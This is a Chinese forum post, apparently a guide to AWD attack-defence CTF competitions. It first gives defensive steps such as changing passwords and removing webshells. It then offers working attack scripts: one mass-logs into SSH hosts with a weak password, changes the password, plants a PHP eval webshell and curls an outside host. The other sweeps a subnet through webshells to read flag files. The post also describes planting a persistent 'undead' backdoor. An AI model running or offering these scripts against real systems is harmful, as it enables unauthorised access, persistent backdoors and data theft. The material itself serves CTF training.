找回密码
 立即注册
首页 业界区 安全 AWD攻防技巧

AWD攻防技巧

丰江 2025-9-30 01:06:38
AWD攻防技巧

基本防守策略

1.改用户密码和服务器密码

1.改linux用户密码

passwd

如果有权限就删除用户:
  1. userdel -R 用户名
复制代码
2.改mysql密码:
  1. update mysql.user set password=password("密码")where user='root';
复制代码
删除匿名用户
  1. delete from mysql.user where user='';
复制代码
刷新配置
  1. flush privileges
复制代码
3.改网站后台密码

从网站页面或者源码用御剑找到后台页面,尝试弱口令登入后改管理员密码
2.web防护

1.将目录打包成tar文件
  1. tar -cvf 打包后的文件.tar 要打包的文件名
复制代码
2.用ssh或者ftp 将打包的文件拉到本机
  1. scp 用户名@IP地址:要下载的文件路径 存放路径
  2. scp root@192.168.18.6:/root/flag.txt /root/
复制代码
ftp用法
  1. ftp ip地址
复制代码
get IP地址
或者用ftp软件登入
3.将压缩包解压放进D盾扫描木马文件

3.关闭shell连接进程

1.查看真正连接的进程
  1. who
复制代码
2.关闭连接进程
  1. pkill -kill -t pts/进程号
复制代码
4.网站守护

1.查看新增加文件,删除
  1. find ./ -cmin -30
复制代码
2.删除不死码
  1. vim killshell.sh
  2. chmod 777 killshell.sh
  3. nohub ./killshell.sh &
  4. #/bin/bash
  5. while true:
  6.         do
  7.                 rm rf xxx.php
  8.         done
复制代码
3.发现网站页面有漏洞
  1. echo >xxx.ph
复制代码
PS:平台root用户可能是弱口令或者存在提取。
直接
  1. rm -rf /bin/curl
复制代码
基本攻击策略

1.弱口令攻击

批量用户登入修改密码并写入webshell且修改活动flag值
《ssh.py》
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import paramiko
  4. for i in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
  5.     try:
  6.         host = f"192.168.{i}.100"  # 假设 IP 格式为 192.168.x.100
  7.         s = paramiko.SSHClient()
  8.         s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.         s.connect(hostname=host, port=22, username='user1', password='123456')
  10.         # 修改密码
  11.         stdin, stdout, stderr = s.exec_command('passwd')
  12.         stdin.write("123456\nPass@123.com\nPass@123.com\n")
  13.         stdin.flush()
  14.         # 上传 WebShell
  15.         stdin, stdout, stderr = s.exec_command("echo '<?php eval($_POST[cmd]); ?>' > /var/www/html/.zack.php")
  16.         # 访问远程 URL
  17.         stdin, stdout, stderr = s.exec_command("curl http://192.168.245.250/getkey")
  18.         print(host + ' ' + stdout.read().decode('utf-8'))
  19.     except Exception as e:
  20.         print(f"连接失败: {host} - {e}")
复制代码
2.批量调用webshell获取flag

用D盾扫描自己的网站木马,根据木马写脚本
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. import requests
  4. import urllib3
  5. # 忽略HTTPS警告(如为http可省略)
  6. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  7. # webshell路径与密码
  8. webshell_url_template = "http://192.168.1.{}/uploads/shell.php"
  9. password = "abc123"
  10. # 要执行的命令(读取flag)
  11. command = "cat /tmp/flag.txt"
  12. # 内网IP范围
  13. for i in range(1, 255):
  14.     target_ip = f"192.168.1.{i}"
  15.     url = webshell_url_template.format(i)
  16.     try:
  17.         # 构造webshell请求
  18.         params = {
  19.             password: f'system("{command}");'
  20.         }
  21.         resp = requests.get(url, params=params, timeout=3, verify=False)
  22.         if resp.status_code == 200 and "flag" in resp.text:
  23.             print(f"[+] {target_ip} - Flag: {resp.text.strip()}")
  24.         else:
  25.             print(f"[-] {target_ip} - 无响应或无flag")
  26.     except Exception as e:
  27.         print(f"[!] {target_ip} - 请求失败: {e}")
复制代码
3.不死码种植

将不死码上传网站目录,访问不死码后在当前目录生成zack.php后门webshell
[code]

相关推荐

您需要登录后才可以回帖 登录 | 立即注册